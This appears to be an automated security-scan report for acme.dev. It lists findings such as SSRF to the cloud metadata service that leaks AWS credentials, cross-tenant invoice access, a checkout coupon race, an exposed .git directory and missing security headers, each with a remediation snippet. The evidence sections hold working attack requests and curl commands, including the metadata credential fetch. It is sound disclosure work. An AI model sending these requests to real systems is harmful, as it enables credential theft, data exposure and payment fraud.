acme.dev

summary

The webhook configuration endpoint fetches the user-supplied URL server-side to deliver a verification ping. No URL validation is performed, so internal and link-local addresses are reachable from the application server. The endpoint reflects the response body to the caller, allowing exfiltration of IMDSv1 credentials, internal admin panels, and other intranet resources. We reproduced the bypass and retrieved a working set of temporary AWS credentials scoped to the `web-app-role` IAM role.

evidence

POST /api/integrations/webhooks HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token>
Content-Type: application/json

{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "verification_response": "AccessKeyId: AKIA••••••••••••••••\nSecretAccessKey: wJal••••••••••••••••••••••••••••••••••••\nToken: IQoJb3Jp•••••••••\nExpiration: 2026-05-20T11:51:13Z"
}

curl -s -X POST https://acme.dev/api/integrations/webhooks -H 'Authorization: Bearer <session-token>' -H 'Content-Type: application/json' -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"}'

Credentials redacted in the sample. The live scan retrieved the full values and validated them against the cloud control plane (read-only call to STS GetCallerIdentity).

reproduction

import ipaddress, socket

def resolve_public(host: str) -> str:
    ip = ipaddress.ip_address(socket.gethostbyname(host))
    if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
        raise ValueError('blocked: non-public address')
    return str(ip)  # connect to this IP, not the hostname

summary

The invoice retrieval endpoint accepts an invoice ID in the URL path but does not verify that the requesting user's tenant owns that invoice. Any authenticated user can iterate invoice IDs (sequential integers prefixed `inv_`) and retrieve invoice metadata (amount, line items, billing address, last-4 of payment method) for every customer in the system. We reproduced the bypass against three independent tenant pairs.

evidence

GET /api/v1/invoices/inv_4421 HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token-issued-to-tenant-a>

HTTP/1.1 200 OK
Content-Type: application/json

{
  "invoice_id": "inv_4421",
  "tenant_id": "tenant_b",
  "amount": "$24,113.00",
  "line_items": [{"sku":"plan_enterprise","qty":1,"price":"$24,113.00"}],
  "billing_address": {"line1":"50 Howard St","city":"San Francisco","...":"..."},
  "payment_method": {"brand":"visa","last4":"4242"}
}

curl -s https://acme.dev/api/v1/invoices/inv_4421 -H 'Authorization: Bearer <tenant-a-token>'

Session token belongs to tenant_a. Invoice inv_4421 belongs to tenant_b. Authorization was not checked.

reproduction

invoice = db.invoices.get(invoice_id)
if invoice is None or invoice.tenant_id != session.tenant_id:
    return Response(status=403)
return invoice

summary

The checkout completion handler reads the cart total, applies the coupon, deducts inventory, and charges payment as separate non-atomic operations. Issuing multiple concurrent POSTs to /api/checkout/complete with the same cart and coupon causes coupon application to fire more than once per cart. With a 50% off coupon and three concurrent requests, the running total is reduced to a negative value, which is clamped to $0. The order is created, inventory is deducted, and the user is charged nothing.

evidence

POST /api/checkout/complete HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token>
Content-Type: application/json

{"cart_id":"cart_88a2","coupon":"SAVE50"}

(repeated 5x concurrently)

HTTP/1.1 200 OK
Content-Type: application/json

{
  "order_id": "ord_8821",
  "total": "$0.00",
  "items": [{"sku":"plan_pro","qty":1}],
  "charged": "$0.00"
}

Cart subtotal was $98. Coupon SAVE50 was applied four times before the total clamped to zero. Inventory was deducted. The order shipped.

reproduction

BEGIN;
SELECT * FROM carts WHERE id = $1 FOR UPDATE;
INSERT INTO coupon_uses (cart_id, code) VALUES ($1, $2)
  ON CONFLICT (cart_id, code) DO NOTHING;  -- a second concurrent apply is a no-op
-- recompute total, charge the processor, then:
COMMIT;

summary

The application's deployment artifact includes a `.git/` directory, which is served by the production web server without restriction. The repository's `.git/config` exposes the remote URL, and pack-objects under `.git/objects/` allow full source recovery. We retrieved the project's `.env.production` file from the git history. It contains the Stripe webhook signing secret (`whsec_…`), the database password, and the JWT signing key. An attacker can use the webhook signing secret to forge payment webhooks and trigger arbitrary order fulfilment.

evidence

GET /.git/config HTTP/1.1
Host: acme.dev

HTTP/1.1 200 OK
Content-Type: text/plain

[core]
  repositoryformatversion = 0
  filemode = true
[remote "origin"]
  url = git@github.com:acme/acme-platform.git
[branch "main"]
  remote = origin
  merge = refs/heads/main

curl -s https://acme.dev/.git/config

Reconstruction of repo via `git-dumper` succeeded. `.env.production` recovered from commit history. Stripe secret redacted in this sample.

reproduction

location ~ /\.git { deny all; return 404; }

summary

Unhandled server exceptions return HTTP 500 responses containing the full Python stack trace, source file paths revealing the deployment layout, and the exact versions of installed dependencies. The traces include framework internals (`/app/venv/lib/python3.11/site-packages/django/...`) and application module paths. The disclosed versions of `django`, `cryptography`, and `pillow` include CVEs published within the last 90 days. Stack traces also include local variable contents at the frame of failure, in some cases leaking partial request bodies.

evidence

POST /api/orgs/invite HTTP/1.1
Host: acme.dev
Authorization: Bearer <session-token>
Content-Type: application/json

{"email":null}

HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: gunicorn/21.2.0

Traceback (most recent call last):
  File "/app/api/views/orgs.py", line 142, in invite
    domain = email.split("@")[1].lower()
AttributeError: 'NoneType' object has no attribute 'split'

Local vars:
  request = <Request POST /api/orgs/invite>
  email = None
  inviter_id = 'usr_4421'

Django 4.2.7 · Python 3.11.6 · cryptography 41.0.5

reproduction

# settings/production.py
DEBUG = False
ALLOWED_HOSTS = ['acme.dev']
# handler500 logs the traceback server-side and renders a generic page

summary

The password reset endpoint returns different responses for registered and unregistered email addresses. Registered emails receive a 200 with body `{"sent": true}`. Unregistered emails receive a 404 with body `{"error": "no such user"}`. The endpoint also has no rate limiting, so an attacker can iterate a list of emails and determine which ones are registered. We confirmed registration status for 12 emails from a public breach corpus in under 30 seconds.

evidence

POST /api/auth/password-reset HTTP/1.1
Host: acme.dev
Content-Type: application/json

{"email":"victim@example.com"}

HTTP/1.1 200 OK
Content-Type: application/json

{"sent": true}

- vs -

HTTP/1.1 404 Not Found
Content-Type: application/json

{"error": "no such user"}

reproduction

user = db.users.find(email)
if user:
    send_reset_email(user)
return Response({'sent': True}, status=200)  # same body + timing either way

summary

All responses from acme.dev include a `Server: nginx/1.18.0` header. nginx 1.18.0 was released in April 2020 and has known CVEs (CVE-2021-23017, CVE-2022-41741, CVE-2022-41742) that have been patched in subsequent releases. The disclosed version narrows the attacker's exploit search and indicates the host has not been updated in over four years.

evidence

GET / HTTP/1.1
Host: acme.dev

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: 2026-05-20T03:47:14Z
Content-Type: text/html
...

reproduction

server_tokens off;

summary

Responses from `www.acme.dev` do not include a `Strict-Transport-Security` header. A network attacker positioned between the user and the server can downgrade subsequent requests to HTTP and intercept session cookies. HSTS preloading is also not configured.

evidence

GET / HTTP/1.1
Host: www.acme.dev

HTTP/1.1 200 OK
Content-Type: text/html
(no Strict-Transport-Security header)

reproduction

summary

Pages do not set `X-Frame-Options` or a CSP `frame-ancestors` directive. Authenticated pages (including the billing settings page) can be embedded in a third-party site's iframe, enabling clickjacking attacks that trick users into performing actions on acme.dev while interacting with the attacker's overlay.

evidence

GET /settings/billing HTTP/1.1
Host: acme.dev
Cookie: session=...

HTTP/1.1 200 OK
Content-Type: text/html
(no X-Frame-Options or frame-ancestors)

reproduction

summary

Responses do not include a `Permissions-Policy` header. Embedded third-party iframes and scripts can request access to camera, microphone, geolocation, and other powerful browser APIs. Even if your own application does not use them, dependencies and ad/analytics scripts may. A restrictive default-deny policy is a low-cost defense.

evidence

GET / HTTP/1.1
Host: acme.dev

HTTP/1.1 200 OK
Content-Type: text/html
(no Permissions-Policy header)

reproduction